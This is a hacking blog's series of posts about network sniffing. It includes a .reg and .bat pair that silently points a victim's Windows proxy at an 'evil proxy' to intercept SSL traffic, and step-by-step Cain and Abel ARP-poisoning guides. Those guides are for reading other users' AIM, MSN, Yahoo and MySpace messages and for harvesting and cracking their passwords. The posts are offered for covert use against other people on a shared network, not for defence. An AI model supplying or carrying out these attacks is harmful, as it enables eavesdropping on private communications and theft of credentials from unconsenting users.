Showing posts with label sniffing. Show all posts
Showing posts with label sniffing. Show all posts

Thursday, March 5, 2009

The Lazy Hacker Sniffing SSL traffic, maybe part 1:

So this is the first time I am posting, and haven't finished the project, so I am not certain if it works, I'll tell you in part 2. Anyways your probably thinking ssl is encrypted so how are you going to do this. Well we aren't going to break encryption. Instead we are going to send all there traffic to our evil proxy, where it will get any certs from. And our proxy will gobble up the certs it's supposed to get and hand the client machine a cert it made itself. So how are we going to do that, well we need to touch the client computer and do a registry edit. There are lots of languages you can do one in, I am just going to do this one in bat for times sake. It requires one .reg file which should contain:


Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable"=dword:00000001
"ProxyServer"="myevilproxyserver.com"


And we should name it proxy.reg. And we will make one .bat file which will contain:


regedit.exe /s proxy.reg


You can also do this with the reg command and a hundred other ways but this is how I did it. Ok so that's all you need to do on the client machine, next week some time I will show you how to build the server that will eat this poor soul's traffic

Thursday, November 20, 2008

Hex

Hex is a freebsd based live cd for "packet monkies". While Backtrack may be geared towards penetration testing, and freesbie towards a desktop experience, this is geared for those, true packetheads. Can't wait to have loads of fun with this. And here is a network security monitoring blog to go with it.

Sunday, May 18, 2008

Sniffing MyspaceIM

Ok so per these rules you can sniff myspace traffic, with a little modification. You need to use MSNMS in the filter instead of AIM. Yeah that's right, it makes it exactly the same as sniffing msn IM traffic. There is a difference in what the protocol sends though. It appears that myspace IM has some sort of markup language associated with it. Perhaps further mischief can be done....hmmm?

Monday, May 5, 2008

Sniffing MSN and Yahoo Messenger traffic on the same lan

Some of you remember reading this little jewel. Well if you want to do the same thing with msn just use MSNMS in the filter instead of AIM and for yahoo use YMSG. It will filter out the protocols that way. And just do your standard "follow TCP stream". So YMSG and particularly MSNMS, are a little ping happy. Which is interesting to know.

Monday, April 7, 2008

Viewing AIM conversations on the same network

Two programs you will need for this are cain (http://oxid.it), and (http://www.wireshark.org/)wireshark. If you have trouble installing either you may need to uninstall and reinstall winpcap (a program they both come with), and you need to be an administrator. Any other troubleshooting questions you should look on the wireshark or oxid website or the help files. You will have to be on the same network. You will want to arp poision the network, you can be discreet and just arp poision the person that you want and the default gateway, or you can do the whole network.
Make sure the sniffer tab is selected at the top and the hosts tab is selected at the bottom. Make sure the sniffer is on it is the green circuit board button in the top left corner. Alternate click in the white space and click on scan mac addresses. This does an arp scan(different from an IP scan). It will show everyone on your network except for you.

Now switch to the arp poisoning tab. APR bottom tab next to hosts. Click the + icon on the top of the menu. This will give you a choice of Ip addresses to poison. The most interesting traffic is going to be between the default gateway(which you can find by typing ipconfig in the command prompt) and the other users on the network. Here is where you choose to either do the entire network or just your user.After the arp poisioning starts, open wireshark, choose the wireless interface.

In the filter type aim and hit enter. It will now only show aim packets, they are kind of difficult to read if you aren't used to them. So when you see a packet that is for sure a screen name or a bit of conversation right click on it and choose "Follow TCP stream". You will get something like this.
http://flickr.com/photos/bsdpunkblog/2396913514/

*.....*....H.........28475734...
Relatively 42....................This is a test....*..q.".........28475734...
Relatively 42*..r.$........Ej..........
Relatively 42..*..s.r........[.5253879...
Relatively 42..............C...............r.......W....G.of....................fail.........*..t.$........\5..........
Relatively 42..*.....*.....


Obviously this is a little garbled but you can clearly see that I told Relativity 42, this is a test, and he responded back with, fail. He has a sens of humour I suppose.

Wednesday, January 23, 2008

Sniffing for passwords

Sniffing for passwords.

Download and install Cain and Abel (oxid.it). If you have nmap or wireshark installed you probably won’t have to install winpcap(which comes with the installation.)

Run the program.

Make sure the sniffer tab is selected at the top and the hosts tab is selected at the bottom. Make sure the sniffer is on it is the green circuit board button in the top left corner. Alternate click in the white space and click on scan mac addresses. This does an arp scan(different from an IP scan). It will show everyone on your network except for you.

http://www.flickr.com/photos/23172723@N08/2214744335/


Now switch to the arp poisoning tab. APR bottom tab next to hosts. Click the + icon on the top of the menu. This will give you a choice of Ip addresses to poison. The most interesting traffic is going to be between the default gateway(which you can find by typing ipconfig in the command prompt) and the other users on the network. Select the default gateway on the left and all the other users on the right. **Optional fun Now if computers are sharing files, to snag their passwords you need to select all the ip’s to all the ip’s you have to do this one ip at the time on the left. **

http://www.flickr.com/photos/23172723@N08/2215536042/in/photostream/

If it is a large network you are going to want to monitor your resources on your computer to make sure you aren’t hitting 100% processor consumption or maxing out your ram. If this happens it will DDOS the network and people will start losing connections which is no good for password sniffing.

So now is the hard part….wait. Wait for people to log on to forums and myspace and all those great sites and wait for them to get in their vpns and telnets and such. One thing you can do while you wait is periodically check your internet connection to make sure you haven’t DDOSed the network. Ok so now time for the boon, click on the password tab at the bottom and see how many passwords you have racked up. If they are encrypted alt click on them and send them to the cracker built in to cain and abel.

**WOW THIS IS COOL TELL ME MORE ABOUT THE TCP/IP MAGIC**

On networks with a hub you don’t have to arp poison, but most modern networks are switched. So what is actually happening when you do this, is your computer answers every arp query as though it is the computer the packet is destined for. So your computer has all data from the network sent to it. I then routes(it doesn’t really route because that would be a layer three thing it would be more correct to say, it sends) the packets to the correct computer. So Cain has a bunch of prebuilt lists of stuff to look for, sometimes cain doesn’t catch all the passwords because of trixy web developers so if you have time you could run wireshark at the same time and manually comb through that data yourself. Etherflood is another program that will arp poison on a windows network. And if you’re a linux guy there is dsniff package with includes an arp spoofing tool.